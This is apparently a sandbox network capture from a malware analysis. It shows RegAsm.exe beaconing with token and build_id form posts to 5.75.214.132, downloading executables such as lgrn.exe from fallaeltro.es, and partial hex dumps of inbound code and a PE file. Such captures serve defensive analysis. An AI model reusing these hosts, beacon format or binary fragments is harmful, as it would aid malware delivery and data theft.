2024-09-11 14:23:03 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-11 14:23:03 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-11 14:23:04 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	63403	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:05 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:05 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------CFHIIEHJKKECGCBFIIJDCont
2024-09-11 14:23:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	63404	37.153.95.99	443	1784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:05 UTC	123	OUT	GET /vhtrw.exe HTTP/1.1 Host: fallaeltro.es If-Modified-Since: Wed, 11 Sep 2024 05:23:55 GMT Cache-Control: no-cache
2024-09-11 14:23:06 UTC	169	IN	HTTP/1.1 304 Not Modified Date: Wed, 11 Sep 2024 14:23:06 GMT Server: Apache Last-Modified: Wed, 11 Sep 2024 05:23:55 GMT Accept-Ranges: bytes Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	63406	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:06 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:06 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------CFIIIJJKJKFHIDGDBAKJCont
2024-09-11 14:23:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:07 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	63409	37.153.95.99	443	1784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:07 UTC	72	OUT	GET /lgrn.exe HTTP/1.1 Host: fallaeltro.es Cache-Control: no-cache
2024-09-11 14:23:07 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:23:07 GMT Server: Apache Last-Modified: Wed, 11 Sep 2024 05:24:00 GMT Accept-Ranges: bytes Content-Length: 328744 Connection: close Content-Type: application/x-msdownload
2024-09-11 14:23:07 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 28 29 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d4 04 00 00 08 00 00 00 00 00 00 5e f3 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL()f^ @ @`
2024-09-11 14:23:07 UTC	8000	IN	Data Raw: 31 a8 d2 e9 06 b3 f7 03 08 7d dc 71 42 9d 73 d7 eb 42 2f f1 81 89 7f 07 11 ec 5c 25 3a 9b de 62 27 7b e9 8a ff 42 c6 1a f5 26 57 ac 3f 44 ba 6c f9 5d 73 4b 93 a1 17 74 cd f2 14 ec d2 3b d0 cf 6e b2 88 2c f8 66 cd 21 28 82 60 51 70 61 74 6a cc 09 7f a4 d8 33 23 31 8b b0 b1 ed 79 fa ff 72 b0 e6 d4 2a 45 56 4c 40 ea 71 91 da cf 8a bc bd 0f ee cc 7f 4e af ec f5 97 e8 46 17 b4 06 73 b6 4f e7 85 fc 1d 53 de e4 d8 f3 90 23 12 b5 8a 72 a6 54 3e 7b 36 42 5b da 71 77 71 3e 1a 15 0e 51 90 b2 17 5f b3 71 5a 47 68 40 e3 da b6 a8 27 cc 31 a9 5e 8a 7e 83 a0 f7 83 a6 61 35 39 d2 76 5a 8e 75 f8 9e f9 20 69 37 34 8d 88 6d 72 2f d2 f6 92 03 00 5e 27 54 44 92 09 29 1f 9e 8f 72 60 71 ae 3a 2d 0c e1 5c da a0 69 d3 85 34 34 69 dc 00 96 37 78 cc 3b 46 08 dc a4 10 fb 21 cb 76 85 Data Ascii: 1}qBsB/\%:b'{B&W?Dl]sKt;n,f!(`Qpatj3#1yr*EVL@qNFsOS#rT>{6B[qwq>Q_qZGh@'1^~a59vZu i74mr/^'TD)r`q:-\i44i7x;F!v
2024-09-11 14:23:07 UTC	8000	IN	Data Raw: 28 0d 0e c5 f0 ae fe a5 d8 8a db 73 4e 29 ee 91 4f 6c a6 14 42 ef 08 23 59 1f b7 7f 7a c0 53 85 1a 2d fe 37 63 a6 32 ba 98 6f e2 0e 4d 21 a6 b6 5e f1 e6 9c 61 4c d9 c3 0d 0c 9a 6b 31 80 20 00 4a d2 47 d5 49 18 a6 2b fa f6 ef 6a 2e b4 6c e4 0a 30 1a c8 bf a7 74 d6 ea 22 4d 9d 25 d7 57 50 00 9e bb 83 bb 82 af 82 57 b1 b4 e3 58 78 b0 34 20 74 4b 30 1a a8 ca 69 89 ec e2 4a 53 42 e8 0f e9 74 58 e8 69 25 1b a2 9e e1 38 9c 43 81 79 b0 2b 62 a0 22 5b f7 ab 96 54 d9 98 b6 e6 81 b6 40 e1 88 44 d9 fc 96 73 e7 64 ee 9e 1b 7e e0 d8 a8 d8 8e e5 2f 83 09 19 8e d1 4e dd c4 b9 52 55 0a 5d 5c 01 b4 79 bc 5c 44 58 f7 d2 2e 87 f7 98 b6 5f da a3 6c 55 9c c2 e7 ff d3 84 e1 df 53 c9 76 6b 1e 98 9a 23 06 03 7d a5 5f 88 ed 33 ee 15 5e c1 dc 84 5f 9c b4 45 a8 7f 50 e2 96 2d c3 4b Data Ascii: (sN)OlB#YzS-7c2oM!^aLk1 JGI+j.l0t"M%WPWXx4 tK0iJSBtXi%8Cy+b"[T@Dsd~/NRU]\y\DX._lUSvk#}_3^_EP-K
2024-09-11 14:23:07 UTC	8000	IN	Data Raw: 1b 25 29 6c 7a e8 7e 55 12 84 c7 e4 19 23 f3 db 05 c2 17 7d c6 82 bb 46 b1 e2 43 75 80 f5 af 91 7a d7 11 50 2e bf 63 78 ac e0 04 4a 7e ad 26 20 fe 6a df b6 5c 8e c5 df ad 87 3e 79 5b 43 d4 3e 20 87 81 6f c2 ec 92 b6 ed e3 30 e9 88 cd b4 ac ab 59 40 18 cd 3e 55 a7 5d 0b 7f 99 02 3f b9 fe 36 60 58 60 b2 8b 28 17 53 9e 67 1e bc 78 60 53 9a c1 a5 6b ad 24 90 12 2d 99 bd a1 26 bc d8 ce 38 f6 d8 73 bb c1 72 67 4d 2a 4f 7d 49 4a 87 ec db ab b9 21 a5 db 9a af 03 21 6a 81 91 d3 b8 c7 25 72 81 07 d0 75 ca 07 ed dc 03 ba 68 c6 b0 f7 d8 f0 c0 c7 a0 66 a2 7a 69 50 60 48 67 b4 3e 6d 0e 37 1b 3d 91 14 21 ba fc c0 17 eb 72 e9 f4 45 08 10 de ed 0d 14 12 c7 32 cd c6 46 79 73 49 f8 c5 f8 22 3d 1d ff 50 72 fa ee ac 75 cd 38 b0 43 f6 84 40 a7 84 6d bc be 8c 39 6b c2 4f d5 5b Data Ascii: %)lz~U#}FCuzP.cxJ~& j\>y[C> o0Y@>U]?6`X`(Sgx`Sk$-&8srgM*O}IJ!!j%ruhfziP`Hg>m7=!rE2FysI"=Pru8C@m9kO[
2024-09-11 14:23:07 UTC	8000	IN	Data Raw: 6d b7 5c c1 b8 40 f2 f9 63 bc d4 6e 1e 98 35 fe 42 d3 c1 4c f1 0b dd 05 67 89 70 b0 57 bd 6f 14 86 a1 ac 0c 9f 13 37 c4 92 ca c7 bb 43 ad f2 1e 1a 79 9a f9 5b 50 eb 2b 7f 1e 32 b0 08 59 af b6 60 d8 b1 42 1a d4 ef 0c 0c 92 a4 4f 71 5f a5 12 32 95 d0 3f ca 36 18 9c 8c 42 e7 5b c4 18 a8 99 20 c4 a8 97 11 23 f4 fa 50 76 0d 35 41 7f d5 36 10 58 61 56 18 d7 4e 0d 15 00 9a 0d 5c 70 af 6a 0b 5a 16 6d 7c d1 b0 6f 37 d8 cb 42 26 26 c0 b0 fc 47 3d ef 07 5d 13 7d 75 65 e8 fb a3 e7 84 55 ca 52 19 7c f4 90 cc 16 b0 31 b6 e6 6c e0 d2 a5 fe e3 84 97 91 f4 f9 15 2e c8 b9 10 6a ec 6d c9 81 de c6 19 90 e7 c1 a2 81 e1 fe b1 cf 18 10 f9 7b 1d 39 16 e5 a7 f5 a4 28 9f b1 5e 9a 46 73 bd 20 3a 38 b8 78 77 fc 27 ad 64 e4 de 71 1c 5e c3 39 0d 59 a4 11 63 46 65 8c a7 cd 3c 9b 4d d4 Data Ascii: m\@cn5BLgpWo7Cy[P+2Y`BOq_2?6B[ #Pv5A6XaVN\pjZm\|o7B&&G=]}ueUR\|1l.jm{9(^Fs :8xw'dq^9YcFe<M
2024-09-11 14:23:07 UTC	8000	IN	Data Raw: 8a b5 76 95 a8 a7 e4 2e 99 ff 1e 7f db b8 98 28 20 98 58 dd 87 4d 3b e4 ab e4 b4 26 4e fb f0 24 0d 66 cb 45 28 31 b8 df 44 97 62 69 bf 6c fb 98 9f dd 7d 9d cc db e6 87 7e 62 c5 c7 48 54 41 c3 7b 4b 01 27 93 da 37 3d a9 b6 10 86 0c a2 87 56 52 6b a2 76 cf b1 2e 3a d1 03 7f a1 f2 7e cd 27 3b 7e 3e 0f 4d c9 c1 47 06 9f e0 55 04 10 2e 70 e9 e8 d6 cc 83 32 2d 8c 99 ab 0a 0f c1 29 41 85 99 36 a2 2b a4 69 2d d8 83 1f ee f4 2d 97 b0 67 39 fb 4a 97 2c 55 cc e5 11 f3 0a dc 2d 0c 48 13 11 2f 9e 00 6f 45 e4 61 a9 cb 38 e1 ed dd 5f bd 8b e9 5d 96 5b 66 2b c0 97 a2 e3 9a 71 85 07 f3 15 c9 79 7c 7d 43 12 72 c9 be 5e b7 dc 29 8c 33 b0 c8 60 68 08 c2 47 bd 51 cd 3d 4e 17 4b 7a 6c e3 64 5e c8 fc 8a d8 c0 6b 8c e2 49 24 0e f8 9e 01 e6 09 23 f0 cc bf a8 97 65 a8 f7 00 8e 64 Data Ascii: v.( XM;&N$fE(1Dbil}~bHTA{K'7=VRkv.:~';~>MGU.p2-)A6+i--g9J,U-H/oEa8_][f+qy\|}Cr^)3`hGQ=NKzld^kI$#ed
2024-09-11 14:23:08 UTC	8000	IN	Data Raw: 04 62 5f 9d 7b 23 30 b9 af cc f7 ff a4 23 c4 bc 78 18 62 79 d0 e1 cd 28 93 b4 8d eb bc 35 46 35 b7 42 68 77 f1 c6 46 39 7b 8a 9b 85 95 b2 2e 56 89 3d 2a 07 2c 35 26 01 c1 33 17 51 0a b4 b3 37 88 7c 15 7c 6b 7d d1 e7 2a 97 f0 bb 62 7c 4e 75 cb c1 70 f7 f5 c6 94 08 c6 01 e5 f6 00 5d 00 7d 2c 29 98 16 43 e6 8f 90 7c 23 21 fe e4 cf 2e ee 0e 15 d8 76 34 45 b6 34 4b 93 15 ba 89 2e 41 c7 a9 4b ca 02 65 f0 78 e3 b2 ec 95 2b 9e 9c fe 54 99 f3 dd e3 ce 59 d5 da 3c 3e 3d ac 1a d7 b9 57 3e 5f 53 8d 90 b4 10 d3 91 db 5f 8b 61 56 14 a3 06 e2 b5 00 ba 78 fe c3 2b b5 2d c5 db 79 e4 10 20 3e ea 1a a2 13 ee 12 29 87 64 50 88 d5 29 2c c1 7e 92 af 2e ba 0d 1d 40 e0 fa 01 df a8 18 b9 4f ff 09 a9 5c 9b de 3b ad 18 23 08 c8 20 19 cc d4 9e be 0f 06 e0 70 c4 0b fb 47 93 78 f9 f1 Data Ascii: b_{#0#xby(5F5BhwF9{.V=,5&3Q7\|\|k}b\|Nup]},)C\|#!.v4E4K.AKex+TY<>=W>_S_aVx+-y >)dP),~.@O\;# pGx
